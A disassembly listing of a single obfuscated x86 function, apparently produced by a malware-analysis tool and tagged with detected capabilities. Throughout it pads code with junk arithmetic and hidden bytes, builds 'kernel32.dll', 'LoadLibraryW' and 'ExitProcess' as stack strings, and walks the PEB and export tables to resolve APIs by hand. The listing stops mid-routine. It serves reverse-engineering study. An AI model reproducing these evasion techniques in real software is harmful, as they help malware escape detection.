Function at 0x10187f67
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
add esp, 4
pop edx
mov edx, dword [ebp - 0x484]
mov dword [ebp - 0x5cc], edx
jmp 0x101876a1
mov eax, dword [ebp - 0x5cc]
add eax, 1
mov dword [ebp - 0x5cc], eax
push edi
push eax
add esp, 4
sub edi, 0x17190
and edi, 0x11b8c
or edi, 0x12989
pop edi
push esi
push ebx
add esp, 4
sub esi, 0x1327
and esi, 0xe7c9
pop esi
push esi
add esi, 0xa38e
pop esi
mov ecx, dword [ebp - 0x5cc]
sub ecx, dword [ebp - 0x484]
cmp ecx, 0xffffffff
jb 0x1018771b
push edx
sub edx, 0x5633
jmp 0x101876f3
jmp 0x101876fb
pop edx
push ebx
jmp 0x10187703
xor ebx, 0x35e2
or ebx, 0xc2b4
xor ebx, 0x15516
pop ebx
jmp 0x10187949
mov dword [ebp - 0xea0], 7
mov edx, dword [ebp - 0x5cc]
mov dword [ebp - 0xc28], edx
push ecx
push ecx
add esp, 4
jmp 0x1018773d
jmp 0x10187742
xor ecx, 0x6d72
pop ecx
push eax
xor eax, 0x2d6c
xor eax, 0xdd65
sub eax, 0xc5f4
sub eax, 0x1345b
pop eax
mov eax, dword [ebp - 0x1904]
mov dword [ebp - 0xc24], eax
mov dword [ebp - 0xea4], 0
mov ecx, dword [ebp - 0x5cc]
cmp ecx, dword [ebp - 0x1904]
jne 0x101877ca
push ebx
call 0x10187797
add byte [ebx + 0x45], al
inc eax
cmp eax, 0x393e453e
inc edi
add esp, 4
sub ebx, 0x1b54
add ebx, 0x230d
and ebx, 0x4096
pop ebx
push edx
push ecx
add esp, 4
xor edx, 0x4524
pop edx
mov edx, dword [ebp - 0xea4]
mov dword [ebp - 0x1908], edx
jmp 0x101878fb
cmp dword [ebp - 0xea0], 0
jle 0x101878ef
push eax
push edi
add esp, 4
sub eax, 0xd497
xor eax, 0xa7a
or eax, 0xc6a2
or eax, 0xd9f8
pop eax
push ecx
push eax
add esp, 4
or ecx, 0x7aca
pop ecx
push ebx
or ebx, 0x515c
pop ebx
mov eax, dword [ebp - 0xc28]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xc24]
movzx eax, byte [edx]
cmp ecx, eax
je 0x1018788b
push edi
push ecx
add esp, 4
xor edi, 0x60d0
add edi, 0xf834
jmp 0x10187836
or edi, 0x17335
pop edi
push esi
add esi, 0x14d2e
pop esi
push ecx
push ebx
add esp, 4
or ecx, 0x9db9
pop ecx
mov ecx, dword [ebp - 0xc28]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xc24]
movzx ecx, byte [eax]
cmp edx, ecx
jle 0x10187873
mov dword [ebp - 0x18d0], 1
jmp 0x1018787d
mov dword [ebp - 0x18d0], 0xffffffff
mov edx, dword [ebp - 0x18d0]
mov dword [ebp - 0xea4], edx
jmp 0x101878ef
push eax
jmp 0x10187892
pop eax
push ecx
call 0x101878a3
add byte [edi + eax*2], dh
inc ecx
dec edx
inc edx
dec ebp
inc ebx
xor eax, 0x4c48348
call 0x101878b3
add byte [edx + 0x33], cl
inc ebp
dec eax
aas
inc esp
cmp byte [ebx - 0x1e7efb3c], al
fnsave dword [ecx]
add byte [ecx - 0x75], bl
test dword [eax - 0xf], esp
invalid
mov eax, dword [ebp - 0xea4]
mov dword [ebp - 0x1908], eax
cmp dword [ebp - 0x1908], 0
jne 0x10187944
push ecx
call 0x10187914
add byte [ebx + 0x38], cl
inc esi
xor al, 0x40
aaa
dec ebx
dec ebx
add esp, 4
xor ecx, 0x148ca
pop ecx
push ecx
or ecx, 0x17a75
call 0x10187932
add byte [ecx + eax*2 + 0x42], cl
dec esi
xor eax, 0xc4833a4f
add al, 0x59
mov ecx, dword [ebp - 0x5cc]
mov dword [ebp - 0xc20], ecx
jmp 0x10187985
jmp 0x10187692
push edi
sub edi, 0x127b6
pop edi
push esi
push ecx
add esp, 4
sub esi, 0x92db
add esi, 0xd708
xor esi, 0x6e33
and esi, 0xb6c2
pop esi
push esi
push ecx
add esp, 4
or esi, 0x6d8a
pop esi
mov dword [ebp - 0xc20], 0
push ecx
add ecx, 0x133fb
sub ecx, 0x165ad
pop ecx
push edi
push edx
add esp, 4
or edi, 0x108d2
xor edi, 0x3fad
sub edi, 0x3d81
pop edi
push edi
push ebx
add esp, 4
xor edi, 0x9c3c
pop edi
mov byte [ebp - 0x9d8], 0x45
mov byte [ebp - 0x9d7], 0x78
mov byte [ebp - 0x9d6], 0x69
mov byte [ebp - 0x9d5], 0x74
mov byte [ebp - 0x9d4], 0x50
mov byte [ebp - 0x9d3], 0x72
mov byte [ebp - 0x9d2], 0x6f
mov byte [ebp - 0x9d1], 0x63
mov byte [ebp - 0x9d0], 0x65
mov byte [ebp - 0x9cf], 0x73
mov byte [ebp - 0x9ce], 0x73
mov byte [ebp - 0x9cd], 0
push eax
push ebx
add esp, 4
add eax, 0xc7c1
and eax, 0xfc91
pop eax
push ecx
push eax
add esp, 4
and ecx, 0xaaad
and ecx, 0xe6a8
xor ecx, 0x510c
jmp 0x10187a3c
pop ecx
mov edx, 0x6b
mov word [ebp - 0x1a88], dx
mov eax, 0x65
mov word [ebp - 0x1a86], ax
mov ecx, 0x72
mov word [ebp - 0x1a84], cx
mov edx, 0x6e
mov word [ebp - 0x1a82], dx
mov eax, 0x65
mov word [ebp - 0x1a80], ax
mov ecx, 0x6c
mov word [ebp - 0x1a7e], cx
mov edx, 0x33
mov word [ebp - 0x1a7c], dx
mov eax, 0x32
mov word [ebp - 0x1a7a], ax
mov ecx, 0x2e
mov word [ebp - 0x1a78], cx
mov edx, 0x64
mov word [ebp - 0x1a76], dx
mov eax, 0x6c
mov word [ebp - 0x1a74], ax
mov ecx, 0x6c
mov word [ebp - 0x1a72], cx
xor edx, edx
mov word [ebp - 0x1a70], dx
push eax
push edx
add esp, 4
or eax, 0x3051
pop eax
push ebx
sub ebx, 0x4ab1
and ebx, 0xfd91
pop ebx
push ebx
push ebx
add esp, 4
and ebx, 0x748b
add ebx, 0xaf4f
sub ebx, 0x1593d
pop ebx
push edi
push edx
add esp, 4
xor edi, 0x1303
pop edi
push esi
push ecx
add esp, 4
xor esi, 0xf226
pop esi
push eax
push edx
add esp, 4
sub eax, 0xb726
sub eax, 0x8ca4
pop eax
push esi
or esi, 0x10d94
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x26c4], eax
mov ecx, dword [ebp - 0x26c4]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x26c8], edx
mov eax, dword [ebp - 0x26c8]
mov dword [ebp - 0x190c], eax
push eax
call 0x10187b6f
add byte [edx], dh
dec edx
xor eax, dword [esi + edi + 0x4d]
xor eax, dword [ebx + 0x535804c4]
sub ebx, 0x154ca
call 0x10187b89
add byte [esi + 0x444f383d], bh
xor ecx, dword [edx + 0x32]
add esp, 4
or ebx, 0x9d4d
pop ebx
cmp dword [ebp - 0x190c], 0
jne 0x10187bab
mov dword [ebp - 0x37c], 0
jmp 0x10187e67
mov ecx, dword [ebp - 0x190c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xeb0], eax
push edi
push edi
add esp, 4
xor edi, 0x341f
and edi, 0x9e91
xor edi, 0x7f87
or edi, 0x52e2
pop edi
push ecx
sub ecx, 0x431a
sub ecx, 0x1850d
add ecx, 0x5fea
pop ecx
cmp dword [ebp - 0xeb0], 0
jne 0x10187c07
mov dword [ebp - 0x37c], 0
jmp 0x10187e67
mov ecx, dword [ebp - 0xeb0]
mov dword [ebp - 0x5d0], ecx
push ebx
push eax
add esp, 4
sub ebx, 0x14be3
xor ebx, 0xe650
or ebx, 0x178e3
or ebx, 0x174e9
pop ebx
push esi
xor esi, 0x153cc
sub esi, 0xd646
or esi, 0x60c7
pop esi
lea edx, [ebp - 0x1a88]
mov dword [ebp - 0xeac], edx
mov eax, dword [ebp - 0x5d0]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xea8], ecx
xor edx, edx
mov word [ebp - 0x270], dx
xor eax, eax
mov word [ebp - 0x138], ax
push esi
push edx
add esp, 4
add esi, 0x44d9
and esi, 0x9e2b
pop esi
push edx
or edx, 0x28c9
or edx, 0x6366
call 0x10187ca0
add byte [0x334e3445], dh
dec esi
dec esp
inc esp
aaa
add esp, 4
pop edx
mov ecx, dword [ebp - 0xea8]
mov dx, word [ecx]
mov word [ebp - 0x12c6], dx
mov eax, dword [ebp - 0xea8]
add eax, 2
mov dword [ebp - 0xea8], eax
mov cx, word [ebp - 0x12c6]
mov word [ebp - 0x270], cx
mov edx, dword [ebp - 0xeac]
mov ax, word [edx]
mov word [ebp - 0x12c8], ax
mov ecx, dword [ebp - 0xeac]
add ecx, 2
mov dword [ebp - 0xeac], ecx
mov dx, word [ebp - 0x12c8]
mov word [ebp - 0x138], dx
push esi
push ecx
add esp, 4
jmp 0x10187d09
jmp 0x10187d0f
xor esi, 0x12af4
pop esi
push ebx
jmp 0x10187d1d
and ebx, 0x3b93
sub ebx, 0x63f1
add ebx, 0x158e1
pop ebx
movzx eax, word [ebp - 0x138]
test eax, eax
jne 0x10187d53
movzx ecx, word [ebp - 0x270]
movzx edx, word [ebp - 0x138]
sub ecx, edx
mov dword [ebp - 0x1914], ecx
jmp 0x10187db6
movzx eax, word [ebp - 0x270]
movzx ecx, word [ebp - 0x138]
cmp eax, ecx
je 0x10187c72
movzx edx, word [ebp - 0x270]
xor edx, 0x20
movzx eax, word [ebp - 0x138]
cmp edx, eax
je 0x10187c72
movzx ecx, word [ebp - 0x270]
movzx edx, word [ebp - 0x138]
cmp ecx, edx
jge 0x10187da0
mov dword [ebp - 0x1910], 0xffffffff
jmp 0x10187daa
mov dword [ebp - 0x1910], 1
mov eax, dword [ebp - 0x1910]
mov dword [ebp - 0x1914], eax
cmp dword [ebp - 0x1914], 0
jne 0x10187dff
push eax
push ebx
add esp, 4
or eax, 0x158ad
pop eax
push eax
or eax, 0xd1ca
and eax, 0x14b24
xor eax, 0xf9a7
and eax, 0x13976
pop eax
push ecx
push ecx
add esp, 4
or ecx, 0x15c44
pop ecx
mov ecx, dword [ebp - 0x5d0]
mov dword [ebp - 0x37c], ecx
jmp 0x10187e67
push ebx
push ebx
add esp, 4
xor ebx, 0x2aaf
add ebx, 0x76b9
pop ebx
push edi
and edi, 0x16961
or edi, 0xe0d6
pop edi
push edi
push edi
add esp, 4
add edi, 0xd67b
sub edi, 0x8bf0
pop edi
mov edx, dword [ebp - 0x5d0]
mov eax, dword [edx]
mov dword [ebp - 0x5d0], eax
mov ecx, dword [ebp - 0x5d0]
cmp ecx, dword [ebp - 0xeb0]
je 0x10187e5d
mov edx, dword [ebp - 0x5d0]
cmp dword [edx + 0x30], 0
jne 0x10187c13
mov dword [ebp - 0x37c], 0
push ebx
jmp 0x10187e70
add ebx, 0x81f5
pop ebx
push edi
xor edi, 0xddd
or edi, 0x5238
pop edi
push eax
sub eax, 0xd42d
xor eax, 0x16a49
xor eax, 0x84ed
pop eax
cmp dword [ebp - 0x37c], 0
jne 0x101887b3
mov eax, 0x6b
mov word [ebp - 0x1b24], ax
mov ecx, 0x65
mov word [ebp - 0x1b22], cx
mov edx, 0x72
mov word [ebp - 0x1b20], dx
mov eax, 0x6e
mov word [ebp - 0x1b1e], ax
mov ecx, 0x65
mov word [ebp - 0x1b1c], cx
mov edx, 0x6c
mov word [ebp - 0x1b1a], dx
mov eax, 0x33
mov word [ebp - 0x1b18], ax
mov ecx, 0x32
mov word [ebp - 0x1b16], cx
mov edx, 0x2e
mov word [ebp - 0x1b14], dx
mov eax, 0x64
mov word [ebp - 0x1b12], ax
mov ecx, 0x6c
mov word [ebp - 0x1b10], cx
mov edx, 0x6c
mov word [ebp - 0x1b0e], dx
xor eax, eax
mov word [ebp - 0x1b0c], ax
push eax
push edi
add esp, 4
or eax, 0x170a0
pop eax
push esi
jmp 0x10187f53
or esi, 0x1032
call 0x10187f67
add byte [esi + 0x41], cl
inc edi
dec esp
dec esp
dec esi
dec esi
inc ebx
add esp, 4
sub esi, 0x13a7d
pop esi
mov byte [ebp - 0xb24], 0x4c
mov byte [ebp - 0xb23], 0x6f
mov byte [ebp - 0xb22], 0x61
mov byte [ebp - 0xb21], 0x64
mov byte [ebp - 0xb20], 0x4c
mov byte [ebp - 0xb1f], 0x69
mov byte [ebp - 0xb1e], 0x62
mov byte [ebp - 0xb1d], 0x72
mov byte [ebp - 0xb1c], 0x61
mov byte [ebp - 0xb1b], 0x72
mov byte [ebp - 0xb1a], 0x79
mov byte [ebp - 0xb19], 0x57
mov byte [ebp - 0xb18], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x26cc], ecx
mov edx, dword [ebp - 0x26cc]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x26d0], eax
mov ecx, dword [ebp - 0x26d0]
mov dword [ebp - 0x1918], ecx
push eax
push esi
add esp, 4
xor eax, 0xbcaf
pop eax
push eax
push edx
add esp, 4
sub eax, 0xc07
call 0x1018801a
add byte [ecx], bh
aaa
dec esi
inc edi
xor dh, byte [edi]
inc eax
dec edx
dec edi
add esp, 4
pop eax
push eax
sub eax, 0xfcc8
pop eax
cmp dword [ebp - 0x1918], 0
jne 0x1018803e
mov dword [ebp - 0x888], 0
jmp 0x101882fa
mov edx, dword [ebp - 0x1918]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xebc], ecx
push ebx
push edx
add esp, 4
sub ebx, 0x7b0a
xor ebx, 0x10f25
pop ebx
push ebx
sub ebx, 0x44ad
pop ebx
push ebx
push esi
add esp, 4
add ebx, 0x2c6a
pop ebx
push ecx
push edi
add esp, 4
sub ecx, 0x2107
pop ecx
cmp dword [ebp - 0xebc], 0
jne 0x1018809a
mov dword [ebp - 0x888], 0
jmp 0x101882fa
mov edx, dword [ebp - 0xebc]
mov dword [ebp - 0x5d4], edx
push edx
push ecx
add esp, 4
sub edx, 0xa18c
sub edx, 0x50b
add edx, 0x11240
and edx, 0xc8fe
pop edx
push esi
and esi, 0xdab3
sub esi, 0x5930
xor esi, 0x6a71
pop esi
lea eax, [ebp - 0x1b24]
mov dword [ebp - 0xeb8], eax
mov ecx, dword [ebp - 0x5d4]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xeb4], edx
xor eax, eax
mov word [ebp - 0x274], ax
xor ecx, ecx
mov word [ebp - 0x13c], cx
push edi
sub edi, 0xddb9
or edi, 0x151ca
call 0x10188121
add byte [esi + 0x4a4b3e37], dh
inc ebp
cmp byte [ebx - 0x7d], cl
les eax, [ecx + eax*4]
iretd
push esi
push eax
add esp, 4
add esi, 0x12a92
and esi, 0x3575
pop esi
push ebx
push eax
add esp, 4
call 0x10188321
add byte [ebx + 0x35], al
dec ecx
aas
dec eax
dec ecx
dec ebp
inc ecx
cmp dword [ecx - 0x7d], eax
les eax, [ebx + ebp*8]
add eax, 0x454b4841
dec edx
pop ebx
cmp dword [ebp - 0x888], 0
jne 0x10188376
push edi
push ebx
add esp, 4
call 0x10188349
add byte [ebx + 0x45], cl
cmp cl, byte [eax + 0x3a]
dec edx
inc ecx
xor esi, dword [edx]
add esp, 4
pop edi
push ecx
or ecx, 0xc619
sub ecx, 0xc112
pop ecx
push eax
push esi
add esp, 4
or eax, 0xbdd0
pop eax
mov dword [ebp - 0x8d4], 0
jmp 0x10188eb3
push eax
push edi
add esp, 4
jmp 0x10188380
and eax, 0xed1c
sub eax, 0x2beb
pop eax
push ebx
push eax
add esp, 4
xor ebx, 0x144af
jmp 0x1018839f
pop ebx
push edx
add edx, 0xc211
pop edx
mov ecx, dword [ebp - 0x888]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3d8], edx
mov dword [ebp - 0x898], 0
mov eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x1924], eax
cmp dword [ebp - 0x1924], 0
jne 0x101883e7
mov ecx, dword [ebp - 0x898]
mov dword [ebp - 0x48c], ecx
jmp 0x101886d8
mov edx, dword [ebp - 0x1924]
mov eax, dword [ebp - 0x3d8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1928], eax
jne 0x1018840f
mov ecx, dword [ebp - 0x898]
mov dword [ebp - 0x48c], ecx
jmp 0x101886d8
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1928]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x192c], edx
cmp dword [ebp - 0x192c], 0
jne 0x10188441
mov eax, dword [ebp - 0x898]
mov dword [ebp - 0x48c], eax
jmp 0x101886d8
mov ecx, dword [ebp - 0x3d8]
add ecx, dword [ebp - 0x192c]
mov dword [ebp - 0x88c], ecx
jne 0x10188466
mov edx, dword [ebp - 0x898]
mov dword [ebp - 0x48c], edx
jmp 0x101886d8
mov eax, dword [ebp - 0x88c]
mov ecx, dword [ebp - 0x3d8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x26d4], ecx
mov edx, dword [ebp - 0x88c]
mov eax, dword [ebp - 0x3d8]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x26d8], eax
mov ecx, dword [ebp - 0x88c]
mov edx, dword [ebp - 0x3d8]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x26dc], edx
mov dword [ebp - 0x890], 0
jmp 0x101884c0
mov eax, dword [ebp - 0x890]
add eax, 1
mov dword [ebp - 0x890], eax
mov ecx, dword [ebp - 0x88c]
mov edx, dword [ebp - 0x890]
cmp edx, dword [ecx + 0x18]
jae 0x101886cc
mov eax, dword [ebp - 0x890]
mov ecx, dword [ebp - 0x26d4]
mov edx, dword [ebp - 0x3d8]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x894], edx
mov eax, dword [ebp - 0x890]
mov ecx, dword [ebp - 0x26d8]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x26dc]
mov ecx, dword [ebp - 0x3d8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x26e0], ecx
mov dword [ebp - 0x1e0], 0
jmp 0x10188530
mov edx, dword [ebp - 0x1e0]
add edx, 1
mov dword [ebp - 0x1e0], edx
mov eax, dword [ebp - 0x894]
add eax, dword [ebp - 0x1e0]
movsx ecx, byte [eax]
test ecx, ecx
je 0x101885e2
mov edx, dword [ebp - 0x1e0]
movsx eax, byte [ebp + edx - 0xb24]
test eax, eax
je 0x101885e2
push edx
push eax
add esp, 4
and edx, 0x1414a
sub edx, 0x955f
and edx, 0x1230f
pop edx
push edi
or edi, 0x4c19
and edi, 0x8b58
or edi, 0x15343
add edi, 0x3c9b
pop edi
mov ecx, dword [ebp - 0x894]
add ecx, dword [ebp - 0x1e0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1e0]
movsx ecx, byte [ebp + eax - 0xb24]
cmp edx, ecx
je 0x101885d4
mov edx, dword [ebp - 0x894]
add edx, dword [ebp - 0x1e0]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1e0]
movsx edx, byte [ebp + ecx - 0xb24]
cmp eax, edx
jne 0x101885db
jmp 0x10188521
jmp 0x101885e2
push edi
push ebx
add esp, 4
add edi, 0x7a3d
and edi, 0x70d1
call 0x101885ff
add byte [edi], dh
aaa
inc esp
push eax
dec edi
dec edi
add esp, 4
pop edi
push esi
push ecx
add esp, 4
sub esi, 0x88fd
jmp 0x10188613
pop esi
mov eax, dword [ebp - 0x894]
add eax, dword [ebp - 0x1e0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1e0]
movsx eax, byte [ebp + edx - 0xb24]
cmp ecx, eax
jne 0x10188641
mov dword [ebp - 0xec0], 0
jmp 0x101886b0
push edx
push esi
add esp, 4
add edx, 0x29ee
pop edx
push edi
push esi
add esp, 4
add edi, 0x4ac5
or edi, 0xbbd6
sub edi, 0x119a0
pop edi
push eax
or eax, 0x9ce7
or eax, 0x177c6
pop eax
mov ecx, dword [ebp - 0x894]
add ecx, dword [ebp - 0x1e0]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1e0]
movsx ecx, byte [ebp + eax - 0xb24]
or ecx, 0x20
cmp edx, ecx
jge 0x101886a6
mov dword [ebp - 0xec0], 0xffffffff
jmp 0x101886b0
mov dword [ebp - 0xec0], 1
cmp dword [ebp - 0xec0], 0
jne 0x101886c7
mov edx, dword [ebp - 0x26e0]
mov dword [ebp - 0x48c], edx
jmp 0x101886d8
jmp 0x101884b1
mov eax, dword [ebp - 0x898]
mov dword [ebp - 0x48c], eax
cmp dword [ebp - 0x48c], 0
je 0x101887b3
push edi
add edi, 0xd6f6
call 0x101886fc
add byte [eax + 0x3a], cl
dec ebp
xor bh, byte [esi]
xor eax, 0x8339483f
les eax, [eax + ebp*8]
or dword [eax], eax
add byte [eax], al
add byte [esi + 0x45], al
inc esi
aaa
cmp dword [edi + 0x32], ecx
dec edi
add esp, 4
and edi, 0x28a8
pop edi
mov ecx, dword [ebp - 0x48c]
mov dword [ebp - 0x26e4], ecx
push esi
and esi, 0x17f09
add esi, 0x17019
xor esi, 0x1817f
and esi, 0x58af
pop esi
push esi
call 0x1018874b
add byte [ebp + 0x41], cl
inc ebx
dec ebp
aas
inc edx
dec ebp
add esp, 4
add esi, 0xdc8c
pop esi
mov edx, dword [ebp - 0x26e4]
mov dword [ebp - 0x26e8], edx
lea eax, [ebp - 0x1a88]
push eax
call dword [ebp - 0x26e8]
test eax, eax
jne 0x101887b3
push edx
push edi
add esp, 4
or edx, 0x96ac
and edx, 0x42ad
or edx, 0x5f1e
add edx, 0x13d6d
pop edx
push edi
push edi
add esp, 4
jmp 0x1018879d
xor edi, 0x8d47
pop edi
mov dword [ebp - 0x8d4], 0
jmp 0x10188eb3
push eax
call 0x101887c1
add byte [eax + 0x4d], cl
aaa
cmp cl, byte [esp + eax*2 + 0x3d]
add esp, 4
or eax, 0x5284
or eax, 0x1421
or eax, 0x69bd
pop eax
push eax
or eax, 0x12ac7
add eax, 0x84c
pop eax
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x26ec], ecx
mov edx, dword [ebp - 0x26ec]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x26f0], eax
mov ecx, dword [ebp - 0x26f0]
mov dword [ebp - 0x1930], ecx
push ecx
push esi
add esp, 4
xor ecx, 0xe19d
pop ecx
push esi
xor esi, 0x16603
xor esi, 0x627e
add esi, 0xa6ef
add esi, 0x4a60
pop esi
push ecx
push ecx
add esp, 4
or ecx, 0x989f
pop ecx
cmp dword [ebp - 0x1930], 0
jne 0x10188857
mov dword [ebp - 0x37c], 0
jmp fcn.10188b13
mov edx, dword [ebp - 0x1930]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xecc], ecx
push edx
or edx, 0x6b62
sub edx, 0xd117
sub edx, 0x8d18
pop edx
push eax
push ebx
add esp, 4
or eax, 0x1074f
or eax, 0xa3f8
and eax, 0x1475
and eax, 0x1497b
pop eax
cmp dword [ebp - 0xecc], 0
jne 0x101888b3
mov dword [ebp - 0x37c], 0
jmp fcn.10188b13
mov edx, dword [ebp - 0xecc]
mov dword [ebp - 0x5d8], edx